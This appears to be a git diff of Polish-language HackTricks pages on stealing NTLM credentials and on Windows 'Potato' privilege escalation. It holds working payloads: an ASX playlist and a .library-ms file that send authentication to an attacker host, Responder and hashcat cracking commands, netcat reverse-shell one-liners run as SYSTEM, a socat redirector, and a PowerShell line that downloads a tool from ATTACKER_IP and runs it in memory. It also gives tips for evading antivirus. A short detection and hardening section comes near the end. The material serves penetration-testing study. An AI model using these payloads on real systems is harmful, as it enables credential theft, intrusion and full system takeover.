- [0xdf – HTB Environment (UniSharp LFM upload → PHP RCE)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html)
|
||||
- [HTB: Media — WMP NTLM leak → NTFS junction to webroot RCE → FullPowers + GodPotato to SYSTEM](https://0xdf.gitlab.io/2025/09/04/htb-media.html)
|
||||
- [Microsoft – mklink (command reference)](https://learn.microsoft.com/windows-server/administration/windows-commands/mklink)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,7 +1,66 @@
|
||||
# Miejsca do kradzieży poświadczeń NTLM
|
||||
# Miejsca, z których można ukraść NTLM creds
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
**Sprawdź wszystkie świetne pomysły z [https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/) od pobrania pliku microsoft word online do źródła wycieków ntlm: https://github.com/soufianetahiri/TeamsNTLMLeak/blob/main/README.md oraz [https://github.com/p0dalirius/windows-coerced-authentication-methods](https://github.com/p0dalirius/windows-coerced-authentication-methods)**
|
||||
**Sprawdź wszystkie świetne pomysły z [https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/](https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/) — od pobrania pliku microsoft word online po źródło ntlm leaks: https://github.com/soufianetahiri/TeamsNTLMLeak/blob/main/README.md oraz [https://github.com/p0dalirius/windows-coerced-authentication-methods](https://github.com/p0dalirius/windows-coerced-authentication-methods)**
|
||||
|
||||
|
||||
### Playlisty Windows Media Player (.ASX/.WAX)
|
||||
|
||||
Jeśli uda ci się nakłonić cel do otwarcia lub podglądu playlisty Windows Media Player, którą kontrolujesz, możesz leak Net‑NTLMv2, wskazując wpis na ścieżkę UNC. WMP spróbuje pobrać odwołany plik multimedialny przez SMB i uwierzytelni się automatycznie.
|
||||
|
||||
Przykładowy payload:
|
||||
```xml
|
||||
<asx version="3.0">
|
||||
<title>Leak</title>
|
||||
<entry>
|
||||
<title></title>
|
||||
<ref href="file://ATTACKER_IP\\share\\track.mp3" />
|
||||
</entry>
|
||||
</asx>
|
||||
```
|
||||
Przepływ zbierania i łamania:
|
||||
```bash
|
||||
# Capture the authentication
|
||||
sudo Responder -I <iface>
|
||||
|
||||
# Crack the captured NetNTLMv2
|
||||
hashcat hashes.txt /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt
|
||||
```
|
||||
### ZIP-osadzony .library-ms NTLM leak (CVE-2025-24071/24055)
|
||||
|
||||
Windows Explorer nieprawidłowo obsługuje pliki .library-ms, gdy są otwierane bezpośrednio z archiwum ZIP. Jeśli definicja biblioteki wskazuje na zdalną ścieżkę UNC (np. \\attacker\share), samo przeglądanie/uruchamianie .library-ms wewnątrz ZIP powoduje, że Explorer enumeruje UNC i wysyła uwierzytelnienie NTLM do attacker. To daje NetNTLMv2, który może zostać cracked offline lub potencjalnie relayed.
|
||||
|
||||
Minimalny .library-ms wskazujący na attacker UNC
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
|
||||
<version>6</version>
|
||||
<name>Company Documents</name>
|
||||
<isLibraryPinned>false</isLibraryPinned>
|
||||
<iconReference>shell32.dll,-235</iconReference>
|
||||
<templateInfo>
|
||||
<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
|
||||
</templateInfo>
|
||||
<searchConnectorDescriptionList>
|
||||
<searchConnectorDescription>
|
||||
<simpleLocation>
|
||||
<url>\\10.10.14.2\share</url>
|
||||
</simpleLocation>
|
||||
</searchConnectorDescription>
|
||||
</searchConnectorDescriptionList>
|
||||
</libraryDescription>
|
||||
```
|
||||
Kroki operacyjne
|
||||
- Utwórz plik .library-ms z powyższym XML (ustaw swój IP/hostname).
|
||||
- Skompresuj go (na Windowsie: Send to → Compressed (zipped) folder) i dostarcz plik ZIP do celu.
|
||||
- Uruchom NTLM capture listener i poczekaj, aż ofiara otworzy plik .library-ms z wnętrza pliku ZIP.
|
||||
|
||||
|
||||
## Źródła
|
||||
- [HTB Fluffy – ZIP .library‑ms auth leak (CVE‑2025‑24071/24055) → GenericWrite → AD CS ESC16 to DA (0xdf)](https://0xdf.gitlab.io/2025/09/20/htb-fluffy.html)
|
||||
- [HTB: Media — WMP NTLM leak → NTFS junction to webroot RCE → FullPowers + GodPotato to SYSTEM](https://0xdf.gitlab.io/2025/09/04/htb-media.html)
|
||||
- [Morphisec – 5 NTLM vulnerabilities: Unpatched privilege escalation threats in Microsoft](https://www.morphisec.com/blog/5-ntlm-vulnerabilities-unpatched-privilege-escalation-threats-in-microsoft/)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -3,7 +3,7 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!WARNING]
|
||||
> **JuicyPotato doesn't work** na Windows Server 2019 i Windows 10 build 1809 i nowszych. Jednak, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** mogą być użyte do **uzyskania tych samych uprawnień i zdobycia dostępu na poziomie `NT AUTHORITY\SYSTEM`**. This [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) goes in-depth on the `PrintSpoofer` tool, which can be used to abuse impersonation privileges on Windows 10 and Server 2019 hosts where JuicyPotato no longer works.
|
||||
> **JuicyPotato doesn't work** on Windows Server 2019 and Windows 10 build 1809 onwards. However, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** can be used to **leverage the same privileges and gain `NT AUTHORITY\SYSTEM`** level access. This [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) goes in-depth on the `PrintSpoofer` tool, which can be used to abuse impersonation privileges on Windows 10 and Server 2019 hosts where JuicyPotato no longer works.
|
||||
|
||||
> [!TIP]
|
||||
> A modern alternative frequently maintained in 2024–2025 is SigmaPotato (a fork of GodPotato) which adds in-memory/.NET reflection usage and extended OS support. See quick usage below and the repo in References.
|
||||
@ -24,23 +24,24 @@ privilege-escalation-abusing-tokens.md
|
||||
|
||||
## Wymagania i typowe pułapki
|
||||
|
||||
Wszystkie poniższe techniki polegają na nadużyciu uprzywilejowanej usługi zdolnej do impersonacji z kontekstu posiadającego jedno z poniższych uprawnień:
|
||||
Wszystkie poniższe techniki polegają na nadużyciu uprzywilejowanej usługi zdolnej do impersonacji z kontekstu posiadającego jedno z następujących uprawnień:
|
||||
|
||||
- SeImpersonatePrivilege (najczęstsze) lub SeAssignPrimaryTokenPrivilege
|
||||
- High integrity nie jest wymagany, jeśli token już ma SeImpersonatePrivilege (typowe dla wielu kont usługowych, takich jak IIS AppPool, MSSQL, itp.)
|
||||
- SeImpersonatePrivilege (najczęściej) lub SeAssignPrimaryTokenPrivilege
|
||||
- High integrity nie jest wymagana, jeśli token już ma SeImpersonatePrivilege (typowe dla wielu kont usługowych, takich jak IIS AppPool, MSSQL itp.)
|
||||
|
||||
Szybko sprawdź uprawnienia:
|
||||
```cmd
|
||||
whoami /priv | findstr /i impersonate
|
||||
```
|
||||
Uwagi operacyjne:
|
||||
Operational notes:
|
||||
|
||||
- PrintSpoofer wymaga, aby usługa Print Spooler była uruchomiona i dostępna przez lokalny endpoint RPC (spoolss). W utwardzonych środowiskach, gdzie Spooler jest wyłączony po PrintNightmare, preferuj RoguePotato/GodPotato/DCOMPotato/EfsPotato.
|
||||
- RoguePotato wymaga OXID resolver dostępnego pod TCP/135. Jeśli ruch wychodzący jest zablokowany, użyj redirector/port-forwarder (zobacz przykład poniżej). Starsze wersje wymagały flagi -f.
|
||||
- EfsPotato/SharpEfsPotato wykorzystują MS-EFSR; jeśli jakiś pipe jest zablokowany, spróbuj alternatywnych pipe'ów (lsarpc, efsrpc, samr, lsass, netlogon).
|
||||
- Błąd 0x6d3 podczas RpcBindingSetAuthInfo zazwyczaj wskazuje na nieznaną/nieobsługiwaną usługę uwierzytelniania RPC; spróbuj innego pipe/transportu lub upewnij się, że docelowa usługa jest uruchomiona.
|
||||
- Jeśli twój shell działa pod ograniczonym tokenem bez SeImpersonatePrivilege (częste dla Local Service/Network Service w niektórych kontekstach), przywróć domyślne uprawnienia konta za pomocą FullPowers, a następnie uruchom Potato. Przykład: `FullPowers.exe -c "cmd /c whoami /priv" -z`
|
||||
- PrintSpoofer wymaga, aby usługa Print Spooler była uruchomiona i dostępna przez lokalny endpoint RPC (spoolss). W zahardeningowanych środowiskach, gdzie Spooler jest wyłączony po PrintNightmare, preferuj RoguePotato/GodPotato/DCOMPotato/EfsPotato.
|
||||
- RoguePotato wymaga OXID resolver dostępnego na TCP/135. Jeśli egress jest zablokowany, użyj redirector/port-forwarder (see example below). Starsze buildy wymagały flagi -f.
|
||||
- EfsPotato/SharpEfsPotato wykorzystują MS-EFSR; jeśli jeden pipe jest zablokowany, spróbuj alternatywnych pipe'ów (lsarpc, efsrpc, samr, lsass, netlogon).
|
||||
- Błąd 0x6d3 podczas RpcBindingSetAuthInfo zazwyczaj wskazuje na nieznaną/nieobsługiwaną usługę uwierzytelniania RPC; spróbuj innego pipe/transportu albo upewnij się, że docelowa usługa działa.
|
||||
|
||||
## Krótka demonstracja
|
||||
## Szybkie demo
|
||||
|
||||
### PrintSpoofer
|
||||
```bash
|
||||
@ -57,9 +58,9 @@ c:\PrintSpoofer.exe -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd"
|
||||
NULL
|
||||
|
||||
```
|
||||
Notatki:
|
||||
- Możesz użyć -i, aby uruchomić interaktywny proces w bieżącej konsoli, lub -c, aby uruchomić polecenie w jednej linii.
|
||||
- Wymaga Spooler service. Jeśli jest wyłączony, to się nie powiedzie.
|
||||
Uwagi:
|
||||
- Możesz użyć -i, aby uruchomić interaktywny proces w bieżącej konsoli, lub -c, aby wykonać komendę jednolinijkową.
|
||||
- Wymaga usługi Spooler. Jeśli jest wyłączona, operacja się nie powiedzie.
|
||||
|
||||
### RoguePotato
|
||||
```bash
|
||||
@ -67,7 +68,7 @@ c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -l
|
||||
# In some old versions you need to use the "-f" param
|
||||
c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -f 9999
|
||||
```
|
||||
Jeśli ruch wychodzący na porcie 135 jest zablokowany, pivot OXID resolver za pomocą socat na swoim redirectorze:
|
||||
Jeśli outbound 135 jest zablokowany, pivot OXID resolver za pomocą socat na swoim redirectorze:
|
||||
```bash
|
||||
# On attacker redirector (must listen on TCP/135 and forward to victim:9999)
|
||||
socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999
|
||||
@ -111,7 +112,7 @@ CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes su
|
||||
|
||||
nt authority\system
|
||||
```
|
||||
Wskazówka: Jeśli jeden pipe zawiedzie lub EDR go zablokuje, spróbuj innych obsługiwanych pipes:
|
||||
Wskazówka: Jeśli jedna pipe zawiedzie lub EDR ją zablokuje, spróbuj innych obsługiwanych pipes:
|
||||
```text
|
||||
EfsPotato <cmd> [pipe]
|
||||
pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc)
|
||||
@ -122,14 +123,14 @@ pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc)
|
||||
# You can achieve a reverse shell like this.
|
||||
> GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012"
|
||||
```
|
||||
Uwaga:
|
||||
- Działa na Windows 8/8.1–11 oraz Server 2012–2022, gdy obecne jest SeImpersonatePrivilege.
|
||||
Notatki:
|
||||
- Działa na Windows 8/8.1–11 oraz Server 2012–2022, gdy obecne jest uprawnienie SeImpersonatePrivilege.
|
||||
|
||||
### DCOMPotato
|
||||
|
||||

|
||||
|
||||
DCOMPotato udostępnia dwa warianty ukierunkowane na obiekty DCOM usług, które domyślnie używają RPC_C_IMP_LEVEL_IMPERSONATE. Skompiluj lub użyj dostarczonych binariów i uruchom swoje polecenie:
|
||||
DCOMPotato udostępnia dwa warianty celujące w obiekty DCOM usług, które domyślnie ustawione są na RPC_C_IMP_LEVEL_IMPERSONATE. Skompiluj lub użyj dostarczonych binariów i uruchom swoje polecenie:
|
||||
```cmd
|
||||
# PrinterNotify variant
|
||||
PrinterNotifyPotato.exe "cmd /c whoami"
|
||||
@ -139,7 +140,7 @@ McpManagementPotato.exe "cmd /c whoami"
|
||||
```
|
||||
### SigmaPotato (zaktualizowany fork GodPotato)
|
||||
|
||||
SigmaPotato dodaje nowoczesne udogodnienia, takie jak wykonywanie w pamięci za pomocą .NET reflection oraz pomocnik PowerShell dla reverse shell.
|
||||
SigmaPotato dodaje nowoczesne udogodnienia, takie jak in-memory execution za pomocą .NET reflection oraz pomocnik PowerShell dla reverse shell.
|
||||
```powershell
|
||||
# Load and execute from memory (no disk touch)
|
||||
[System.Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData("http://ATTACKER_IP/SigmaPotato.exe"))
|
||||
@ -148,15 +149,15 @@ SigmaPotato dodaje nowoczesne udogodnienia, takie jak wykonywanie w pamięci za
|
||||
# Or ask it to spawn a PS reverse shell
|
||||
[SigmaPotato]::Main(@("--revshell","ATTACKER_IP","4444"))
|
||||
```
|
||||
## Wykrywanie i uwagi dotyczące utwardzania
|
||||
## Wykrywanie i wzmacnianie zabezpieczeń
|
||||
|
||||
- Monitoruj procesy tworzące named pipes i natychmiast wywołujące token-duplication APIs, po czym CreateProcessAsUser/CreateProcessWithTokenW. Sysmon może ujawnić przydatne dane telemetryczne: Event ID 1 (tworzenie procesu), 17/18 (named pipe utworzony/podłączony) oraz linie poleceń uruchamiające procesy potomne jako SYSTEM.
|
||||
- Utwardzanie Spoolera: Wyłączenie usługi Print Spooler na serwerach, gdzie nie jest potrzebna, zapobiega lokalnym wymuszeniom w stylu PrintSpoofer przez spoolss.
|
||||
- Utwardzanie kont usług: Minimalizuj przypisywanie SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege do niestandardowych usług. Rozważ uruchamianie usług pod kontami wirtualnymi z minimalnymi wymaganymi uprawnieniami oraz izolowanie ich za pomocą service SID i write-restricted tokens, gdy to możliwe.
|
||||
- Kontrole sieciowe: Zablokowanie wychodzącego TCP/135 lub ograniczenie ruchu RPC endpoint mapper może unieruchomić RoguePotato, chyba że dostępny jest wewnętrzny redirector.
|
||||
- EDR/AV: Wszystkie te narzędzia są szeroko sygnaturowane. Przekompilowanie ze źródła, zmiana nazw symboli/strings lub użycie in-memory execution może zmniejszyć wykrywalność, ale nie pokona solidnych wykryć behawioralnych.
|
||||
- Monitoruj procesy tworzące named pipes i natychmiast wywołujące token-duplication APIs, a następnie CreateProcessAsUser/CreateProcessWithTokenW. Sysmon może ujawnić przydatną telemetrię: Event ID 1 (process creation), 17/18 (named pipe created/connected) oraz command lines uruchamiające procesy potomne jako SYSTEM.
|
||||
- Spooler hardening: Wyłączenie usługi Print Spooler na serwerach, gdzie nie jest ona potrzebna, zapobiega lokalnym coercjom w stylu PrintSpoofer za pośrednictwem spoolss.
|
||||
- Service account hardening: Minimalizuj przypisywanie SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege do niestandardowych usług. Rozważ uruchamianie usług pod virtual accounts z minimalnymi wymaganymi uprawnieniami oraz izolowanie ich za pomocą service SID i write-restricted tokens, gdy to możliwe.
|
||||
- Network controls: Blokowanie wychodzących połączeń TCP/135 lub ograniczanie ruchu RPC endpoint mapper może przerwać RoguePotato, chyba że dostępny jest internal redirector.
|
||||
- EDR/AV: Wszystkie te narzędzia są powszechnie sygnaturowane. Rekomplikacja ze źródeł, zmiana nazw symboli/łańcuchów lub wykonywanie w pamięci może zmniejszyć wykrywalność, ale nie pokona solidnych wykryć behawioralnych.
|
||||
|
||||
## Referencje
|
||||
## References
|
||||
|
||||
- [https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/)
|
||||
- [https://github.com/itm4n/PrintSpoofer](https://github.com/itm4n/PrintSpoofer)
|
||||
@ -167,5 +168,7 @@ SigmaPotato dodaje nowoczesne udogodnienia, takie jak wykonywanie w pamięci za
|
||||
- [https://github.com/zcgonvh/DCOMPotato](https://github.com/zcgonvh/DCOMPotato)
|
||||
- [https://github.com/tylerdotrar/SigmaPotato](https://github.com/tylerdotrar/SigmaPotato)
|
||||
- [https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/](https://decoder.cloud/2020/05/11/no-more-juicypotato-old-story-welcome-roguepotato/)
|
||||
- [FullPowers – Restore default token privileges for service accounts](https://github.com/itm4n/FullPowers)
|
||||
- [HTB: Media — WMP NTLM leak → NTFS junction to webroot RCE → FullPowers + GodPotato to SYSTEM](https://0xdf.gitlab.io/2025/09/04/htb-media.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user